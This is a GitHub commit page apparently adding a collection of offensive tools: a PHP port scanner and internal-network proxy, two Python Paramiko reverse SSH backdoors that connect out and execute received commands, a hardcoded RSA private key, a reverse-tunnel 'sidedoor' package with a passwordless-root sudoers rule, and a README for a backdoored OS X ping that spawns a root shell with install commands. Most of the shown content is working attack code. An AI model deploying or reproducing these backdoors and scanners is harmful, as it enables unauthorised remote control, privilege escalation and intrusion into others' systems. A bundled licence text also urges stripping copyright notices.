Skip to content

Commit 2052264

Browse files
xl7devxl7dev
committedAug 24, 2016
update
1 parent 38ad880 commit 2052264

34 files changed

+5789
-0
lines changed
 

‎Aspx/hec.aspx

+2,588
Large diffs are not rendered by default.

‎Php/scanner.php

+137
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,137 @@
1+
<?php
2+
3+
set_time_limit(0);//设置程序执行时间
4+
ob_implicit_flush(True);
5+
ob_end_flush();
6+
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null;
7+
8+
/*端口扫描代码*/
9+
function check_port($ip,$port,$timeout=0.1) {
10+
$conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
11+
if ($conn) {
12+
fclose($conn);
13+
return true;
14+
}
15+
}
16+
17+
18+
function scanip($ip,$timeout,$portarr){
19+
foreach($portarr as $port){
20+
if(check_port($ip,$port,$timeout=0.1)==True){
21+
echo 'Port: '.$port.' is open<br/>';
22+
@ob_flush();
23+
@flush();
24+
25+
}
26+
27+
}
28+
}
29+
30+
echo '<html>
31+
<form action="" method="post">
32+
<input type="text" name="startip" value="Start IP" />
33+
<input type="text" name="endip" value="End IP" />
34+
<input type="text" name="port" value="80,8080,8888,1433,3306" />
35+
Timeout<input type="text" name="timeout" value="10" /><br/>
36+
<button type="submit" name="submit">Scan</button>
37+
</form>
38+
</html>
39+
';
40+
41+
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
42+
43+
$startip=$_POST['startip'];
44+
$endip=$_POST['endip'];
45+
$timeout=$_POST['timeout'];
46+
$port=$_POST['port'];
47+
$portarr=explode(',',$port);
48+
$siparr=explode('.',$startip);
49+
$eiparr=explode('.',$endip);
50+
$ciparr=$siparr;
51+
if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
52+
exit('IP error: Wrong IP address or Trying to scan class A address');
53+
}
54+
if($startip==$endip){
55+
echo 'Scanning IP '.$startip.'<br/>';
56+
@ob_flush();
57+
@flush();
58+
scanip($startip,$timeout,$portarr);
59+
@ob_flush();
60+
@flush();
61+
exit();
62+
}
63+
64+
if($eiparr[3]!=255){
65+
$eiparr[3]+=1;
66+
}
67+
while($ciparr!=$eiparr){
68+
$ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
69+
echo '<br/>Scanning IP '.$ip.'<br/>';
70+
@ob_flush();
71+
@flush();
72+
scanip($ip,$timeout,$portarr);
73+
$ciparr[3]+=1;
74+
75+
if($ciparr[3]>255){
76+
$ciparr[2]+=1;
77+
$ciparr[3]=0;
78+
}
79+
if($ciparr[2]>255){
80+
$ciparr[1]+=1;
81+
$ciparr[2]=0;
82+
}
83+
}
84+
}
85+
86+
/*内网代理代码*/
87+
88+
function getHtmlContext($url){
89+
$ch = curl_init();
90+
curl_setopt($ch, CURLOPT_URL, $url);
91+
curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
92+
curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
93+
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
94+
curl_setopt($ch, CURLOPT_TIMEOUT, 120);
95+
$result = curl_exec($ch);
96+
global $header;
97+
if($result){
98+
$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
99+
$header = explode("\r\n",substr($result, 0, $headerSize));
100+
$body = substr($result, $headerSize);
101+
}
102+
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200') {
103+
return $body;
104+
}
105+
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
106+
$location = getHeader("Location");
107+
if(strpos(getHeader("Location"),'http://') == false){
108+
$location = getHost($url).$location;
109+
}
110+
return getHtmlContext($location);
111+
}
112+
return NULL;
113+
}
114+
115+
function getHost($url){
116+
preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
117+
return $matches[0];
118+
}
119+
function getCss($host,$html){
120+
preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
121+
foreach($matches[1] as $v){
122+
$cssurl = $v;
123+
if(strpos($v,'http://') == false){
124+
$cssurl = $host."/".$v;
125+
}
126+
$csshtml = "<style>".file_get_contents($cssurl)."</style>";
127+
$html .= $csshtml;
128+
}
129+
return $html;
130+
}
131+
132+
if($url != null){
133+
134+
$host = getHost($url);
135+
echo getCss($host,getHtmlContext($url));
136+
}
137+
?>

‎SSH/ReverseSSH-Backdoor/Readme.txt

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
This is derived from InfosecInstitute.
2+
Requires Paramiko Lib at both Ends.
3+
More Information Here: http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/

‎SSH/ReverseSSH-Backdoor/revsshclient.py

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
import paramiko
2+
import threading
3+
import subprocess
4+
5+
client = paramiko.SSHClient()
6+
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
7+
client.connect('*insertServerIPHere*', username='root', password='toor')
8+
chan = client.get_transport().open_session()
9+
chan.send('Hey i am connected :) ')
10+
print chan.recv(1024)
11+
command = chan.recv(1024)
12+
try:
13+
CMD = subprocess.check_output(command, shell=True)
14+
chan.send(CMD)
15+
except Exception,e:
16+
chan.send(str(e))
17+
client.close

‎SSH/ReverseSSH-Backdoor/revsshserver.py

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
import socket
2+
import paramiko
3+
import threading
4+
import sys
5+
6+
host_key = paramiko.RSAKey(filename='/usr/share/doc/python-paramiko/examples/test_rsa.key')
7+
8+
class Server (paramiko.ServerInterface):
9+
def _init_(self):
10+
self.event = threading.Event()
11+
def check_channel_request(self, kind, chanid):
12+
if kind == 'session':
13+
return paramiko.OPEN_SUCCEEDED
14+
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
15+
def check_auth_password(self, username, password):
16+
if (username == 'root') and (password == 'toor'):
17+
return paramiko.AUTH_SUCCESSFUL
18+
return paramiko.AUTH_FAILED
19+
20+
try:
21+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
23+
sock.bind(('*insertClientIPHere*', 22))
24+
sock.listen(100)
25+
print '[+] Listening for connection ...'
26+
client, addr = sock.accept()
27+
except Exception, e:
28+
print '[-] Listen/bind/accept failed: ' + str(e)
29+
sys.exit(1)
30+
print '[+] Got a connection!'
31+
32+
try:
33+
t = paramiko.Transport(client)
34+
try:
35+
t.load_server_moduli()
36+
except:
37+
print '[-] (Failed to load moduli -- gex will be unsupported.)'
38+
raise
39+
t.add_server_key(host_key)
40+
server = Server()
41+
try:
42+
t.start_server(server=server)
43+
except paramiko.SSHException, x:
44+
print '[-] SSH negotiation failed.'
45+
46+
chan = t.accept(20)
47+
print '[+] Authenticated!'
48+
print chan.recv(1024)
49+
chan.send('Yeah i can see this')
50+
command= raw_input("Enter command: ").strip('\n')
51+
chan.send(command)
52+
print chan.recv(1024) + '\n'
53+
54+
except Exception, e:
55+
print '[-] Caught exception: '': ' + str(e)
56+
try:
57+
t.close()
58+
except:
59+
pass
60+
sys.exit(1)

‎SSH/custom-ssh-backdoor/README.md

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
SSH Backdoor using Paramiko
2+
3+
Example:
4+
5+
![](print.png)

‎SSH/custom-ssh-backdoor/client.py

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import paramiko
2+
import threading
3+
import subprocess
4+
5+
client = paramiko.SSHClient()
6+
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
7+
client.connect('192.168.1.100', username='joridos', password='olh234')
8+
chan = client.get_transport().open_session()
9+
chan.send('Hey i am connected :) ')
10+
while True:
11+
command = chan.recv(1024)
12+
try:
13+
CMD = subprocess.check_output(command, shell=True)
14+
chan.send(CMD)
15+
except Exception,e:
16+
chan.send(str(e))
17+
print chan.recv(1024)
18+
client.close

‎SSH/custom-ssh-backdoor/print.png

171 KB
Loading

‎SSH/custom-ssh-backdoor/server.py

+60
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
import socket
2+
import paramiko
3+
import threading
4+
import sys
5+
6+
host_key = paramiko.RSAKey(filename='/home/joridos/custom-ssh-backdoor/test_rsa.key')
7+
8+
class Server (paramiko.ServerInterface):
9+
def _init_(self):
10+
self.event = threading.Event()
11+
def check_channel_request(self, kind, chanid):
12+
if kind == 'session':
13+
return paramiko.OPEN_SUCCEEDED
14+
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
15+
def check_auth_password(self, username, password):
16+
if (username == 'joridos') and (password == 'olh234'):
17+
return paramiko.AUTH_SUCCESSFUL
18+
return paramiko.AUTH_FAILED
19+
20+
try:
21+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
23+
sock.bind(('192.168.1.100', 22))
24+
sock.listen(100)
25+
print '[+] Listening for connection ...'
26+
client, addr = sock.accept()
27+
except Exception, e:
28+
print '[-] Listen/bind/accept failed: ' + str(e)
29+
sys.exit(1)
30+
print '[+] Got a connection!'
31+
32+
try:
33+
t = paramiko.Transport(client)
34+
try:
35+
t.load_server_moduli()
36+
except:
37+
print '[-] (Failed to load moduli -- gex will be unsupported.)'
38+
raise
39+
t.add_server_key(host_key)
40+
server = Server()
41+
try:
42+
t.start_server(server=server)
43+
except paramiko.SSHException, x:
44+
print '[-] SSH negotiation failed.'
45+
46+
chan = t.accept(20)
47+
print '[+] Authenticated!'
48+
print chan.recv(1024)
49+
while True:
50+
command= raw_input("Enter command: ").strip('n')
51+
chan.send(command)
52+
print chan.recv(1024) + 'n'
53+
54+
except Exception, e:
55+
print '[-] Caught exception: ' + str(e) + ': ' + str(e)
56+
try:
57+
t.close()
58+
except:
59+
pass
60+
sys.exit(1)

‎SSH/custom-ssh-backdoor/test_rsa.key

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
-----BEGIN RSA PRIVATE KEY-----
2+
MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyz
3+
oWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/
4+
d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKB
5+
gBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0
6+
EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fon
7+
soVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9H
8+
tYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqU
9+
avNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA
10+
4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3g
11+
H0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTv
12+
qfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wV
13+
HhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiSc
14+
nvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7
15+
-----END RSA PRIVATE KEY-----

‎SSH/sidedoor/COPYING

+674
Large diffs are not rendered by default.

‎SSH/sidedoor/README.md

+81
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
# sidedoor
2+
3+
sidedoor maintains a reverse tunnel to provide a backdoor.
4+
sidedoor can be used to remotely control a device behind a NAT.
5+
6+
sidedoor is packaged for Debian-based systems with systemd or upstart.
7+
It has been used on Debian 8 (jessie) and Ubuntu 14.04 LTS (trusty).
8+
9+
The sidedoor user has full root access configured in /etc/sudoers.d.
10+
11+
## Installation
12+
13+
If sidedoor is in your package repositories, simply install it, e.g.,
14+
`sudo apt-get install sidedoor`.
15+
16+
Otherwise, you will need to build a Debian package and install it.
17+
First, install build dependencies.
18+
19+
sudo apt-get install debhelper dh-systemd
20+
21+
Then, from the directory containing this README file, build and install
22+
a package.
23+
24+
rm -f ../sidedoor*.deb # remove old package builds
25+
dpkg-buildpackage -us -uc -b
26+
sudo dpkg -i ../sidedoor*.deb
27+
28+
## Configuration
29+
30+
The remote server and tunnel port are configured in `/etc/default/sidedoor`.
31+
SSH configuration files are located in the `/etc/sidedoor` directory.
32+
`~sidedoor/.ssh` is a symlink to `/etc/sidedoor`.
33+
34+
* Configure `REMOTE_SERVER` and `TUNNEL_PORT` in `/etc/default/sidedoor`.
35+
* Create SSH configuration files under `/etc/sidedoor`.
36+
- `authorized_keys`: SSH public key(s) to control access to the local
37+
sidedoor user.
38+
- `id_rsa`: SSH private key to access the remote server.
39+
Can be generated with `sudo ssh-keygen -t rsa -f /etc/sidedoor/id_rsa`
40+
(press enter when prompted for passphrase to leave empty).
41+
Needs read permission by the sidedoor user or group, e.g.,
42+
`sudo chown root:sidedoor /etc/sidedoor/id_rsa` and
43+
`sudo chmod 640 /etc/sidedoor/id_rsa`.
44+
The corresponding public key `id_rsa.pub` will need to be included in
45+
the remote user's `~/.ssh/authorized_keys` file.
46+
- `known_hosts`: SSH host key of the remote server.
47+
- `config` (optional): Additional SSH config, see `man ssh_config`.
48+
49+
Restart the sidedoor service to apply changes.
50+
51+
sudo service sidedoor restart
52+
53+
## Recommendations
54+
55+
* Lock down the local SSH server by editing `/etc/ssh/sshd_config`.
56+
- Disable password authentication
57+
(`ChallengeResponseAuthentication no` and `PasswordAuthentication no`).
58+
- Limit daemon to only listen on localhost.
59+
(`ListenAddress ::1` and `ListenAddress 127.0.0.1`).
60+
- To apply changes, restart or reload sshd, e.g.,
61+
`sudo service ssh reload`.
62+
* Modify the `ssh_client_config_example` file and include it in a client's
63+
`~/.ssh/config` file to easily access the tunneled backdoor
64+
with `ssh`, `scp`, `rsync`, etc.
65+
66+
## License
67+
68+
Copyright 2015 Dara Adib.
69+
70+
This program is free software: you can redistribute it and/or modify
71+
it under the terms of the GNU General Public License as published by
72+
the Free Software Foundation, either version 3 of the License, or
73+
(at your option) any later version.
74+
75+
This program is distributed in the hope that it will be useful,
76+
but WITHOUT ANY WARRANTY; without even the implied warranty of
77+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
78+
GNU General Public License for more details.
79+
80+
You should have received a copy of the GNU General Public License
81+
along with this program. If not, see <http://www.gnu.org/licenses/>.

‎SSH/sidedoor/config

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
Host *
2+
# Tunneled traffic (e.g., SSH) is encrypted and thus not compressible.
3+
Compression no
4+
5+
# Disable password authentication.
6+
BatchMode yes
7+
8+
# Terminate if unable to set up port forwarding.
9+
ExitOnForwardFailure yes
10+
11+
# Enable SSH keepalives.
12+
ServerAliveInterval 30
13+
14+
# Disconnect after unresponsive SSH keepalives.
15+
ServerAliveCountMax 2
16+
17+
# Enable TCP keepalives.
18+
TCPKeepAlive yes

‎SSH/sidedoor/debian/changelog

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
sidedoor (0.1) UNRELEASED; urgency=low
2+
3+
* Initial Release.
4+
5+
-- Dara Adib <daradib@ocf.berkeley.edu> Thu, 31 Dec 2015 16:35:12 -0500

‎SSH/sidedoor/debian/compat

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
9

‎SSH/sidedoor/debian/control

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
Source: sidedoor
2+
Section: net
3+
Priority: optional
4+
Maintainer: Dara Adib <daradib@ocf.berkeley.edu>
5+
Build-Depends: debhelper (>= 9), dh-systemd
6+
Standards-Version: 3.9.6
7+
Homepage: https://github.com/daradib/sidedoor
8+
Vcs-Git: https://github.com/daradib/sidedoor.git
9+
Vcs-Browser: https://github.com/daradib/sidedoor
10+
11+
Package: sidedoor
12+
Architecture: all
13+
Depends: ${misc:Depends}, adduser, systemd | upstart, autossh
14+
Recommends: openssh-server
15+
Description: Backdoor using a reverse tunnel
16+
sidedoor maintains a reverse tunnel to provide a backdoor.
17+
sidedoor can be used to remotely control a device behind a NAT.
18+
.
19+
To use, set up SSH keys to
20+
(1) access a remote server, and,
21+
(2) if tunneling SSH, control access to the local sidedoor user.
22+
.
23+
The sidedoor user has full root access configured in /etc/sudoers.d.

‎SSH/sidedoor/debian/copyright

+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
2+
Upstream-Name: sidedoor
3+
Source: https://github.com/daradib/sachesi
4+
5+
Files: *
6+
Copyright: 2015 Dara Adib <daradib@ocf.berkeley.edu>
7+
License: GPL-3.0+
8+
9+
License: GPL-3.0+
10+
This program is free software: you can redistribute it and/or modify
11+
it under the terms of the GNU General Public License as published by
12+
the Free Software Foundation, either version 3 of the License, or
13+
(at your option) any later version.
14+
.
15+
This package is distributed in the hope that it will be useful,
16+
but WITHOUT ANY WARRANTY; without even the implied warranty of
17+
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18+
GNU General Public License for more details.
19+
.
20+
You should have received a copy of the GNU General Public License
21+
along with this program. If not, see <http://www.gnu.org/licenses/>.
22+
.
23+
On Debian systems, the complete text of the GNU General
24+
Public License version 3 can be found in "/usr/share/common-licenses/GPL-3".

‎SSH/sidedoor/debian/rules

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
#!/usr/bin/make -f
2+
3+
%:
4+
dh $@ --with systemd

‎SSH/sidedoor/debian/sidedoor.default

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# Configuration for sidedoor service
2+
3+
# Remote SSH server to connect to, i.e., [user@]hostname.
4+
REMOTE_SERVER=
5+
6+
# Port on the remote server to tunnel to local port.
7+
TUNNEL_PORT=
8+
9+
# Local port to provide access to.
10+
# If unset, looks for port in /etc/ssh/sshd_config.
11+
#LOCAL_PORT=22

‎SSH/sidedoor/debian/sidedoor.dirs

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
etc/sidedoor
2+
var/lib/sidedoor

‎SSH/sidedoor/debian/sidedoor.docs

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
README.md

‎SSH/sidedoor/debian/sidedoor.install

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
config etc/sidedoor
2+
sudoers etc/sudoers.d
3+
sidedoor usr/bin

‎SSH/sidedoor/debian/sidedoor.links

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
etc/sidedoor var/lib/sidedoor/.ssh

‎SSH/sidedoor/debian/sidedoor.postinst

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
#!/bin/sh
2+
3+
set -e
4+
5+
if [ "$1" = configure ]; then
6+
adduser --quiet --system --no-create-home --group \
7+
--home /var/lib/sidedoor \
8+
--shell /bin/sh \
9+
sidedoor
10+
passwd --quiet --lock sidedoor
11+
fi
12+
13+
#DEBHELPER#

‎SSH/sidedoor/debian/sidedoor.postrm

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
#!/bin/sh
2+
3+
set -e
4+
5+
#DEBHELPER#
6+
7+
if [ "$1" = remove ]; then
8+
rm -f /etc/sudoers.d/sidedoor
9+
fi
10+
11+
if [ "$1" = purge ]; then
12+
deluser --quiet --system sidedoor || true
13+
rm -rf /var/lib/sidedoor
14+
fi

‎SSH/sidedoor/debian/sidedoor.service

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
[Unit]
2+
Description=maintain reverse tunnel
3+
After=local-fs.target network.target
4+
5+
[Service]
6+
User=sidedoor
7+
EnvironmentFile=-/etc/default/sidedoor
8+
ExecStart=/usr/bin/sidedoor "$REMOTE_SERVER" "$TUNNEL_PORT" "$LOCAL_PORT"
9+
Restart=on-failure
10+
11+
[Install]
12+
WantedBy=multi-user.target

‎SSH/sidedoor/debian/sidedoor.upstart

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
description "maintain reverse tunnel"
2+
3+
start on (local-filesystems and net-device-up IFACE!=lo)
4+
5+
respawn
6+
7+
setuid sidedoor
8+
9+
script
10+
[ -f /etc/default/sidedoor ] && . /etc/default/sidedoor
11+
exec /usr/bin/sidedoor "$REMOTE_SERVER" "$TUNNEL_PORT" "$LOCAL_PORT"
12+
end script

‎SSH/sidedoor/debian/source/format

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
3.0 (native)

‎SSH/sidedoor/sidedoor

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
#!/bin/sh
2+
3+
set -eu
4+
5+
if [ $# -ne 2 -a $# -ne 3 ]; then
6+
echo "Usage: $(basename $0) REMOTE_SERVER TUNNEL_PORT [LOCAL_PORT]"
7+
echo
8+
echo "Maintain a reverse SSH tunnel."
9+
exit 65
10+
fi
11+
12+
REMOTE_SERVER="$1"
13+
TUNNEL_PORT="$2"
14+
LOCAL_PORT="${3:-$(awk '/^Port/ {print $2}' /etc/ssh/sshd_config)}"
15+
16+
exec autossh -M 0 -NT \
17+
-R "${TUNNEL_PORT}:localhost:${LOCAL_PORT}" \
18+
"$REMOTE_SERVER"

‎SSH/sidedoor/ssh_client_config_example

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
Host MY_HOSTNAME
2+
User sidedoor
3+
#IdentityFile # Optionally specify a different private key.
4+
ProxyCommand ssh REMOTE_SERVER nc localhost TUNNEL_PORT

‎SSH/sidedoor/sudoers

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
sidedoor ALL=(ALL) NOPASSWD: ALL

‎osx/osx-ping-backdoor/LICENSE.md

+97
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
# zf0 anti-copyright pledge, from zf0's third zine
2+
3+
-- Introducing ZAP --
4+
5+
Have you ever been in a situation where you based your code
6+
off of another script, yet you didn't want to include its
7+
accompanying copyright notice? Then this is for you.
8+
9+
In this case, you have three options:
10+
11+
a) Include the notice, because you are lazy and legal.
12+
b) Rewrite your program from scratch, because you want
13+
your due creative recognition.
14+
c) Simply not include the copyright notice.
15+
16+
These are also known as:
17+
18+
a) The lame way.
19+
b) The ego way.
20+
c) The elite way!
21+
22+
There are various reasons for choosing c. Perhaps you find
23+
that if you were to start your code fresh, it would be
24+
similar in expressions and control to the code you had
25+
before. Further, they would probably do the same thing in
26+
almost the same way. Doing so does not seem fair to you.
27+
28+
Additionally, by including the GPL in your modified program
29+
you have essentially waved moral rights to the code. You
30+
have signed the code over, so to speak, and have willingly
31+
withdrawn your rights to it.
32+
33+
You might feel a bit ripped off. Afterall, perhaps your
34+
code is a greater derivation, in both form and concept,
35+
from your source than that source is from its influences.
36+
37+
A more practical reason exists: Perhaps you hate long,
38+
annoying comments from others in your tool, and heck, you
39+
are an evil hacker who isn't going to let copyright law
40+
alter your practices.
41+
42+
The GPL is one example of a copyleft notice that seeks to
43+
limit some freedoms to ensure most freedoms. As nice as the
44+
GPL is, for any of the reasons above you may not wish to
45+
abide by its rules. The GPL is not full of loopholes:
46+
rather, every new version is like the next Terminator, only
47+
stronger. It's out to get you and you cannot stop it. I
48+
knocked a copy of the GPLv2 into molten steel; it came out
49+
squeaky clean.
50+
51+
If you decide to basically violate the law and not include
52+
a copyright license, you may wish to offer some explanation
53+
for that choice. Thus, we present ZAP.
54+
55+
-----------------------------------------------------------
56+
| |
57+
| ZF0 Anti-copyright Pledge (ZAP) |
58+
| |
59+
| |
60+
| 1. This code may or may not be derived |
61+
| from one or multiple external sources |
62+
| with or without express permission. |
63+
| |
64+
| |
65+
| 2. We reject the general universal applicability |
66+
| of software copyrights to all cases based on |
67+
| any combination of the following: |
68+
| |
69+
| a) The vagueness of the Agreement on Trade |
70+
| -Related Aspects of Intellectual Property |
71+
| Rights in the area of software rights. |
72+
| b) The lack of cohesion of different |
73+
| national copyright legislation. |
74+
| c) The lack of originality in software and |
75+
| the lack of establishment of originality. |
76+
| d) Further personal opinions. |
77+
| |
78+
| |
79+
| 3. We reject the assumed right of verbatim |
80+
| copyright control over all revision. |
81+
| |
82+
| a) Particularly in free software, a copyright |
83+
| serves as recognition and little else. |
84+
| b) We will extend recognition as we |
85+
| feel it is deserved, and not less. |
86+
| |
87+
| |
88+
| 4. This statement does not attempt to |
89+
| serve as a legally binding document. |
90+
| |
91+
| a) This notice is an explanation, not a limitation. |
92+
| b) These are terms of release, |
93+
| not conditions of use |
94+
| c) This software is thus provided as-is |
95+
| without any guarantees or warranties. |
96+
| |
97+
-----------------------------------------------------------

‎osx/osx-ping-backdoor/README.md

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
OS X Backdoored ping
2+
====================
3+
4+
This is just the normal OS X `ping`, but if you run it with the flag `-X`, it drops a root shell. This relies on the `suid` bit being set, it's not an exploit and it won't help you root a server (which you shouldn't be doing anyway 😠).
5+
6+
I didn't write the `ping` utility, this is just the normal OS X `ping`, the source code of which can be found [here](http://www.opensource.apple.com/source/network_cmds/network_cmds-329.2/ping.tproj/ping.c?txt). All I did was add the `-X` flag and the function `r00t()`.
7+
8+
This program still works like the normal `ping`. It just has a little secret 😉
9+
10+
# Compilation & Installation
11+
12+
1. `wget https://raw.githubusercontent.com/raincoats/osx-ping-backdoor/master/ping.c`
13+
1. `gcc ping.c -o ping`
14+
2. `chown root:wheel ./ping; chmod 4755 ./ping`
15+
3. Optionally, `mv /sbin/ping{,-backup} && mv ./ping /sbin` (but I mean, really, are you sure you want a backdoor on your smackbook throw?)
16+
17+
# Usage
18+
19+
$ ./ping -X
20+
.----------------.
21+
|_I_I_I_I_I_I_I_I]___
22+
| _ r00t! : ; _ )
23+
='-(_)----------=-(_)-'
24+
sh-3.2# whoami
25+
root
26+
sh-3.2#
27+
28+
# Why did you even bother
29+
30+
This is me attempting to learn a little C. Even though I didn't do much, I'm stoked that it compiles & works. So if you don't like it buzz off 🐝🐝🐝🐝

‎osx/osx-ping-backdoor/ping.c

+1,836
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)
Please sign in to comment.